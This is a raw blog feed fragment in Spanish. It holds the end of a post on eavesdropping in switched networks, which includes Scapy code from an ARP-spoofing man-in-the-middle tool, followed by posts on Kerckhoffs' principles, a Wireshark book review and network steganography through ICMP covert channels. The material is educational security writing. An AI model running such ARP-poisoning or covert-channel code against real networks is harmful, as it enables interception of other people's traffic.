/&gt;psrc=ip2.strNormal(),hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal())&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            packet_to_send = ether_packet / arp_packet&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            scapy.sendp(packet_to_send, verbose=&lt;/span&gt;&lt;span style="color: rgb(176, 128, 0);font-size:78%;" &gt;0&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;)&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;            &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Reponiendo la MAC de "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip2.strNormal()) + /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;" en la cache ARP de "&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(ip.strNormal())&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/pre&gt;&lt;span style="font-size:100%;"&gt;Por último, está la función &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;cleanThings&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:100%;"&gt;, que se limita a desactivar el IP_Forwarding de nuestro equipo.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;blockquote&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(136, 135, 134);font-size:78%;" &gt;&lt;i&gt;# Esta funcion es un cajon de sastre para limpiar los cambios que hayamos hecho&lt;br /&gt;# en el sistema del usuario.&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;&lt;b&gt;def&lt;/b&gt; cleanThings():&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    &lt;b&gt;print&lt;/b&gt; &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"Devolviendo a la variable de sistema ip_forward a su estado anterior ("&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; /&lt;br /&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(forwarding) + &lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;")..."&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;    os.system(&lt;/span&gt;&lt;span style="color: rgb(191, 3, 3);font-size:78%;" &gt;"sudo sysctl net.ipv4.ip_forward="&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt; + &lt;/span&gt;&lt;span style="color: rgb(0, 87, 174);font-size:78%;" &gt;str&lt;/span&gt;&lt;span style="color: rgb(20, 19, 18);font-size:78%;" &gt;(forwarding))&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/pre&gt;Como se puede apreciar, realizar escuchas en un entorno conmutado no resulta nada complicado, existen herramientas para ello e incluso programar una no es nada difícil. Existen algunas maneras de detectar este tipo de ataques. En alguno de mis próximos artículos analizaré algunas de las trazas que pueden dejar este tipo de programas y cómo detectarlos.&lt;br /&gt;&lt;br /&gt;Queda con ello demostrado que los conmutadores no aseguran la privacidad de nuestro tráfico, tal y como muchos creen erróneamente. La única manera de garantizar la privacidad de nuestros datos cuando estos viajen por la red es cifrarlos correctamente.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-8416607125741608878?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zM2X9EROVXkZJSo4A6_ZyXzrWwI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zM2X9EROVXkZJSo4A6_ZyXzrWwI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zM2X9EROVXkZJSo4A6_ZyXzrWwI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zM2X9EROVXkZJSo4A6_ZyXzrWwI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/zOaJ8R5LccY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/8416607125741608878/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=8416607125741608878" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8416607125741608878?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8416607125741608878?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/zOaJ8R5LccY/escuchas-en-redes-conmutadas.html" title="Escuchas en redes conmutadas" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_czXkQpCMagk/SVjZSyHTTaI/AAAAAAAAAHY/KDVON40bvdQ/s72-c/1360_230_160_crop_b7e26.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/12/escuchas-en-redes-conmutadas.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cFQHo-fyp7ImA9WxVTFUo.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-6947478624155851109</id><published>2008-12-19T00:50:00.011+01:00</published><updated>2008-12-29T18:16:51.457+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-29T18:16:51.457+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="criptografía" /><category scheme="http://www.blogger.com/atom/ns#" term="Ingeniería de Seguridad" /><title>La Doctrina de Kerckhoffs</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/SUriSkvxxLI/AAAAAAAAAHQ/1ne-oLigJwI/s1600-h/Kerkhoffs.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 235px; height: 322px;" src="http://4.bp.blogspot.com/_czXkQpCMagk/SUriSkvxxLI/AAAAAAAAAHQ/1ne-oLigJwI/s400/Kerkhoffs.jpg" alt="" id="BLOGGER_PHOTO_ID_5281282321774920882" border="0" /&gt;&lt;/a&gt;Auguste Kerckhoffs fue un filólogo de origen holandés que durante buena parte de la segunda mitad del siglo XIX se dedicó a la enseñanza del alemán en la Escuela Superior de Estudios Comerciales de París.&lt;br /&gt;&lt;br /&gt;Sin embargo, lo que le hizo destacar hasta el punto de ser recordado hoy en día, son una serie de ensayos que publicó en la Revista de Ciencias Militares francesa. Estos ensayos versaban sobre criptografía militar y supusieron no sólo una revisión del estado del arte de esta disciplina sino también un soplo de aire fresco para las técnicas francesas en la materia. Hombre pragmático, Kerckhoffs expuso seis principios básicos para el correcto diseño de sistemas criptográficos:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Si el sistema no es teóricamente irrompible, al menos debe serlo en la práctica.&lt;/li&gt;&lt;li&gt;La efectividad del sistema no debe depender de que su diseño permanezca en secreto.&lt;/li&gt;&lt;li&gt;La clave debe ser fácilmente memorizable de manera que no haya que recurrir a notas escritas.&lt;/li&gt;&lt;li&gt;Los criptogramas deberán dar resultados alfanuméricos.&lt;/li&gt;&lt;li&gt;El sistema debe ser operable por una única persona.&lt;/li&gt;&lt;li&gt;El sistema debe ser fácil de utilizar.&lt;/li&gt;&lt;/ol&gt;Tras más de un siglo desde su publicación, los seis principios de Kerckhoffs siguen plenamente vigentes.&lt;br /&gt;&lt;br /&gt;El primer principio es en el que se basan la mayor parte de los sistemas criptográficos modernos, los cuales dependen de espacios de claves lo suficientemente largos como para asegurar que es imposible reunir la potencia de calculo necesaria para localizar la clave correcta. Cuando la informática evoluciona hasta el punto de que empieza a ser posible "romper" las claves actuales, entonces todo el mundo incrementa la longitud de las claves para volver a hacer imposible su ruptura con los medios disponibles.&lt;br /&gt;&lt;br /&gt;El tercer principio le sugerirá escenas cotidianas a cualquier ingeniero de seguridad. Cuantas veces nos habremos topado con políticas de seguridad equivocadas que obligaban a los usuarios a usar contraseñas espectacularmente complejas... con el único resultado de que el pobre usuario, para poder trabajar, no tenía más remedio que escribir la contraseña en un &lt;span style="font-style: italic;"&gt;post-it&lt;/span&gt; pegado al ordenador.&lt;br /&gt;&lt;br /&gt;Los principios cuarto, quinto y sexto no hacen sino reafirmar la necesidad de que los sistemas criptográficos reconozcan las limitaciones humanas si quieren ser realmente efectivos. Somos seres alfanuméricos, pensamos visualmente y cualquier cosa que nos saque de nuestras conocidas 3 dimensiones nos empieza a dar mareos. Un criptosistema que no respete estas limitaciones está condenado a fracasar, sencillamente porque los operadores destinados a usar dicho criptosistema tenderán a compensar la excesiva complejidad aplicando simplificaciones y "trucos" que no harán sino mermar la entropía del criptosistema y con ello su efectividad. El incorrecto cumplimiento del sexto principio por los alemanes durante la segunda guerra mundial llevó a que en muchas ocasiones los operadores de la célebre máquina &lt;a href="http://es.wikipedia.org/wiki/Enigma_%28m%C3%A1quina%29"&gt;Enigma&lt;/a&gt; colocasen determinados discos en posiciones predecibles lo que facilitaba notablemente la tarea de los criptoanalistas ingleses de Bletchley Park (recomendadísimos a este respecto los artículos de &lt;a href="http://www.kriptopolis.org/enigma"&gt;Román Ceano&lt;/a&gt; sobre la máquina Enigma).&lt;br /&gt;&lt;br /&gt;El segundo principio es el más famoso y se le denomina Doctrina de Kerckhoffs o El Principio (en singular) de Kerckhoffs. Establece que la seguridad de un criptosistema debe depender en exclusiva de mantener en secreto la clave y no de ocultar el diseño del sistema. Durante años este principio fue olvidado o ignorado, de manera que se procuró dotar a los criptosistemas de la llamada &lt;span style="font-style: italic;"&gt;seguridad por oscuridad&lt;/span&gt; ocultando su diseño e implementación a los usuarios. La Guerra Fría demostró que era demasiado costoso mantener en secreto el diseño de los criptosistemas por lo que no se podía depender de la oscuridad como base de la seguridad de estos sistemas. A partir de ahí, el diseño de los criptosistemas se hizo público, llegando a convocarse concursos abiertos para elegir los nuevos estándares de criptografía (como pasó por ejemplo con el &lt;a href="http://es.wikipedia.org/wiki/Advanced_Encryption_Standard"&gt;AES&lt;/a&gt;). Este cambio ha sido muy beneficioso ya que ha permitido un mejor perfeccionamiento de los estándares al ampliar el número de cabezas pensantes que han podido analizarlos, criticarlos y mejorarlos. Con ello, se daba la razón a la Doctrina de Kerckhoffs más de 100 años después de su publicación.&lt;br /&gt;&lt;br /&gt;Sin embargo, la Doctrina de Kerckhoffs trasciende desde campo de la criptografía alcanzando al conjunto de la Ingeniería de Seguridad: &lt;span style="font-weight: bold;"&gt;la seguridad de un sistema no puede depender de mantener en secreto su diseño&lt;/span&gt;. Sencillamente porque la imperfección natural del ser humano hace imposible que se pueda mantener indefinidamente dicho secreto y más en un mundo como el actual en el que la tendencia general es a hacer que la información fluya de manera natural. En este contexto, aquel ingeniero de seguridad que se empeñe en basar la fortaleza de su sistema en mantener la oscuridad sobre su diseño, se acabará encontrando tarde o temprano con que su diseño ha salido a la luz y no le queda más remedio que rehacerlo desde cero mientras los activos que protegía se ven completamente expuestos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-6947478624155851109?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/t1QDYU9GKrvc96lpNbT9Kn9PRFM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t1QDYU9GKrvc96lpNbT9Kn9PRFM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/t1QDYU9GKrvc96lpNbT9Kn9PRFM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/t1QDYU9GKrvc96lpNbT9Kn9PRFM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/g7ogaspykZM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/6947478624155851109/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=6947478624155851109" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/6947478624155851109?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/6947478624155851109?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/g7ogaspykZM/la-doctrina-de-kerckhoffs.html" title="La Doctrina de Kerckhoffs" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_czXkQpCMagk/SUriSkvxxLI/AAAAAAAAAHQ/1ne-oLigJwI/s72-c/Kerkhoffs.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/12/la-doctrina-de-kerckhoffs.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYAQ306eyp7ImA9WxRaFkk.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-3209656805972486557</id><published>2008-12-18T23:34:00.007+01:00</published><updated>2008-12-19T00:49:02.313+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-19T00:49:02.313+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="libros" /><category scheme="http://www.blogger.com/atom/ns#" term="protocolos" /><title>Practical Packet Analysis</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_czXkQpCMagk/SUrYlf6jZBI/AAAAAAAAAHI/mIumCkbJwxk/s1600-h/9781593271497_cat.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 180px; height: 238px;" src="http://1.bp.blogspot.com/_czXkQpCMagk/SUrYlf6jZBI/AAAAAAAAAHI/mIumCkbJwxk/s400/9781593271497_cat.gif" alt="" id="BLOGGER_PHOTO_ID_5281271651779175442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;"&lt;a style="font-style: italic;" href="http://oreilly.com/catalog/9781593271497/"&gt;Practical Packet Analysis: Using Wireshark to Solve Real- World Network Problems&lt;/a&gt;" es, como su nombre advierte, un manual aplicado de &lt;a href="http://www.wireshark.org/"&gt;Wireshark&lt;/a&gt; (antes conocido como Ethereal) que viene a exponer usos prácticos de este potente analizador de redes para detectar y solucionar problemas comunes en una red de datos moderna.&lt;br /&gt;&lt;br /&gt;La verdad es que este libro no le enseñará nada nuevo a nadie con cinco o seis años de experiencia en configuración y administración de redes medias o grandes. Pero los que carezcan de tal experiencia encontrarán en este libro una interesante introducción a técnicas de &lt;span style="font-style: italic;"&gt;troubleshooting&lt;/span&gt; mediante capturas de red tremendamente potentes y útiles para su quehacer diario. Todas estas técnicas se explican con un lenguaje cercano y práctico haciendo hincapie en los conceptos sobre el protocolo TCP/IP que todo administrador de red debería conocer (aunque desgraciadamente no siempre ocurre).&lt;br /&gt;&lt;br /&gt;Para presentar la aplicación práctica de estas técnicas, el autor desarrolla los escenarios más variopintos: desde escenarios de lentitud de red, a ataques de gusanos de internet, pasando por problemas de enrutamiento, ataques de ARP Poisoning, y un largo etcetera. En todos estos escenarios, el autor expone cómo se podría utilizar la captura de paquetes de red  y su posterior análisis mediante Wireshark para encontrar al causante del problema presentado.&lt;br /&gt;&lt;br /&gt;Todo esto hace que este libro sea de fácil lectura y de inmediata aplicación ya que los ejemplos están perfectamente elegidos y son comunes en la problemática diaria de un departamento de comunicaciones. Es precisamente por eso que, posiblemente, este libro aporte poco a un administrador de red con cierta experiencia y que ya se habrá encontrado con estos problemas varias veces a lo largo de su carrera. A los otros, a los que están comenzando en el apasionante mundo de las Redes y la Seguridad este libro les será de tremenda ayuda.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-3209656805972486557?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/q1L7_7Om3U7sR5XiPmOEE79C21o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/q1L7_7Om3U7sR5XiPmOEE79C21o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/q1L7_7Om3U7sR5XiPmOEE79C21o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/q1L7_7Om3U7sR5XiPmOEE79C21o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/6NlpZQbEIjA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/3209656805972486557/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=3209656805972486557" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3209656805972486557?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3209656805972486557?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/6NlpZQbEIjA/practical-packet-analysis.html" title="Practical Packet Analysis" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_czXkQpCMagk/SUrYlf6jZBI/AAAAAAAAAHI/mIumCkbJwxk/s72-c/9781593271497_cat.gif" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/12/practical-packet-analysis.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04DQHkzeip7ImA9WxBRGE0.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-2380775314803447687</id><published>2008-10-25T15:37:00.022+02:00</published><updated>2010-01-06T21:32:51.782+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-06T21:32:51.782+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="esteganografía" /><category scheme="http://www.blogger.com/atom/ns#" term="programacion" /><category scheme="http://www.blogger.com/atom/ns#" term="privacidad" /><title>Esteganografía de red</title><content type="html">La esteganografía es el arte de esconder información en cosas de uso habitual como fotos, sonidos, imágenes de vídeo, etc.&lt;br /&gt;&lt;br /&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;  &lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;El hombre ha inventado multitud de técnicas esteganográficas a lo largo de la historia. El arte está repleto de mensajes ocultos en cuadros, esculturas y edificios (¿Aún queda alguien que no haya leído el Código Da Vinci?). El mundo del espionaje utiliza técnicas esteganográficas constantemente (desde la técnica del micropunto a los mensajes escritos en espejos que sólo se ven al exponerlos al vaho). Recientemente Internet ha abierto una ventana universal al conocimiento y al intercambio de opiniones e ideas. Precisamente por eso, muchos gobiernos dictatoriales intentan controlar los datos intercambiados entre sus redes nacionales e Internet para detectar rebeldes y pensadores discrepantes. En este tipo de casos la confidencialidad no basta, porque el mero hecho de cifrar algo ya resulta sospechoso para la policía política (“¿si no tiene nada que ocultar por qué lo cifra?”). Es necesario no sólo asegurar la confidencialidad de la información sino evitar en lo posible su detección, de ahí la renovada importancia de las técnicas esteganográficas.&lt;/p&gt;  &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;Se han escrito muchos artículos acerca de la ocultación de datos en imágenes y fotografías. También resulta bastante conocida la posibilidad de guardar información en el ruido de fondo de una canción, de manera imperceptible al oído humano, o en el de una secuencia de vídeo. La que resulta menos conocida es la denominada esteganografía de red, la cual utiliza determinadas características de los protocolos de red para encapsular datos y transmitirlos camuflados por Internet.&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;    &lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;La esteganografía de red se basa en tres métodos principales:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;Encapsulación  de un protocolo en otro.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;Encapsulación  de información en el campo de datos de un protocolo.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;Encapsulación  de información en un campo numérico de un protocolo.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;br /&gt;&lt;/p&gt;   &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;El primer caso, &lt;b&gt;encapsulación de un protocolo en otro&lt;/b&gt;, es relativamente conocido y muy utilizado hoy día para el ocultamiento de sistemas de descargas P2P. Un ejemplo es el encapsulado  en el protocolo HTTP para eludir las restricciones de los cortafuegos perimetrales. Este último es el enfoque de herramientas como &lt;a href="http://www.http-tunnel.com/html/solutions/overview.asp"&gt;HTTP-Tunnel&lt;/a&gt;&lt;a class="sdfootnoteanc" name="sdfootnote1anc" href="http://www.blogger.com/post-create.g?blogID=3131013648748842611#sdfootnote1sym"&gt;&lt;/a&gt; que, mediante la instalación de un servidor de SOCKS en el PC, permiten establecer un túnel cifrado con un servidor remoto, que hace de intermediario, a través del puerto de HTTP (abierto generalmente en el cortafuegos) simulando que es tráfico web. El servidor que hace de intermediario, situado en el exterior del cortafuegos, desencapsula luego el tráfico y lo remite a sus destinatarios originales.  &lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;El segundo caso se da cuando un protocolo de uso común en la red incluye un &lt;b&gt;campo de datos&lt;/b&gt; que nosotros podemos llenar con nuestro mensaje. Alguien que vigilase la red advertiría el uso del protocolo pero a no ser que se pusiera a investigar el contenido de los campos de los paquetes intercambiados sería incapaz de detectar que se está transmitiendo información.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Un claro ejemplo de este tipo de técnicas es el protocolo ICMP. Este protocolo se utiliza para tareas&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;de mantenimiento y control interno de redes. La herramienta más conocida que utiliza este protocolo es &lt;i&gt;Ping. &lt;/i&gt;&lt;span style="font-style: normal;"&gt;Como ya es sobradamente conocido, la herramienta ping permite averiguar si un determinado equipo está alcanzable a través de la red. Para ello se le lanza un Ping y si se recibe respuesta significa que hay conectividad con dicho equipo. Lo que ocurre entre bastidores es que el equipo que lanza el ping emite un paquete de tipo ICMP ECHO-REQUEST y el equipo destino, al recibir este paquete, genera otro de respuesta denominado ICMP ECHO-REPLY. Cuando el equipo que lanza los pings comienza a recibir paquetes ICMP ECHO-REPLY puede concluir que el equipo destino está “vivo”. Dado lo habitual de este protocolo en las redes modernas resulta un candidato interesante como cobertura a nuestro enlace de datos. Para ello se puede utilizar el campo de 56 bytes con el que cuentan los paquetes ICMP ECHO. El propósito original de este campo no está muy claro. En apariencia, los sistemas operativos actuales lo usan como una firma llenándolo con una secuencia de datos más o menos predefinida (p.ej. Windows mete siempre el abecedario “abcd...” mientras que Linux que he probado usan una secuencia más aleatoria pero acabada siempre por los caracteres “01234567”) con la idea de que si los paquetes de respuesta contienen la misma secuencia de datos entonces son correctos. Sin embargo, nadie dice cuál debe ser esa secuencia de datos por lo que nosotros podemos meter los que queramos y enviárselos al equipo destino en un Ping.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Vamos a ilustrar esto con un ejemplo usando &lt;a href="http://www.secdev.org/projects/scapy/"&gt;Scapy&lt;/a&gt;&lt;a class="sdfootnoteanc" name="sdfootnote1anc" href="http://www.secdev.org/projects/scapy/"&gt;&lt;/a&gt;. Supongamos que Alice quiere enviarle a Bob (10.0.0.105) el siguiente mensaje: “Creo que sospechan de ti.”. Podríamos encapsular este mensaje en un paquete ICMP de la siguiente manera desde la consola de Scapy:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;Welcome to Scapy (v1.1.1 / -)&lt;/code&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;ip = IP()&lt;/b&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;ip.dst = "10.0.0.105"&lt;/b&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:85%;" &gt;&lt;code&gt;&gt;&gt;&gt; &lt;/code&gt;&lt;code&gt;&lt;b&gt;icmp = ICMP()&lt;/b&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 